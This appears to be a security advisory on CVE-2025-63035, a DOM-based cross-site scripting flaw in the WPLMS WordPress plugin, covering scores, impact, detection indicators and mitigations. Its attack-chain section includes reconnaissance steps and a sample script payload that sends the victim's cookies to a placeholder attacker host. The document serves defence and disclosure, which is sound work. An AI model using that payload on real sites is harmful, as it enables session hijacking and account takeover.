CVE-2025-63035: 
WordPress vulnerability analysis and mitigation

CVE-2025-63035 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the VibeThemes WPLMS WordPress Learning Management System plugin. It affects all versions of the WPLMS plugin up to and including 1.9.9.5.4. The vulnerability was published on December 9, 2025, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as DOM-Based XSS. In DOM-Based XSS, malicious input is processed and reflected through the browser's Document Object Model without proper sanitization, allowing attacker-controlled data to be executed as JavaScript in the victim's browser. Exploitation requires the attacker to have low-level privileges (e.g., a registered user account) and requires user interaction — typically tricking a victim into visiting a crafted URL or page. The attack vector is network-based with low complexity (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential defacement or redirection to malicious sites. The CVSS scope is marked as Changed, indicating the impact can extend beyond the vulnerable component itself, affecting confidentiality, integrity, and availability at a low level each (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-63035 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the WPLMS plugin at version 1.9.9.5.4 or earlier using tools like WPScan or Shodan, targeting sites with the wplms_plugin installed.
2. Obtain low-privilege access: Register or obtain a low-privilege account on the target WordPress/WPLMS site, as the vulnerability requires authenticated (low-privilege) access.
3. Craft malicious payload: Construct a URL or page input containing a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable input parameter in the WPLMS plugin.
4. Deliver payload to victim: Trick a higher-privileged user (e.g., administrator or instructor) into clicking the crafted link or visiting the malicious page, causing their browser to execute the injected JavaScript.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data from the LMS platform (Feedly).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting WPLMS plugin pages; unusual GET/POST requests containing encoded JavaScript payloads in URL parameters.
• Logs: WordPress access logs showing requests to WPLMS plugin endpoints with suspicious query strings containing <script>, javascript:, or encoded XSS payloads (e.g., %3Cscript%3E).
• Browser/Application: Unexpected JavaScript execution or redirects reported by users when accessing WPLMS course or plugin pages; session tokens appearing in external server logs.

Users should update the WPLMS plugin to a version beyond 1.9.9.5.4 as soon as a patched release is made available by VibeThemes. In the interim, site administrators should restrict access to WPLMS plugin pages to trusted users only and consider implementing a Web Application Firewall (WAF) with XSS filtering rules to detect and block malicious payloads. Monitoring WordPress user activity and reviewing plugin update channels for a security release is strongly recommended (Patchstack).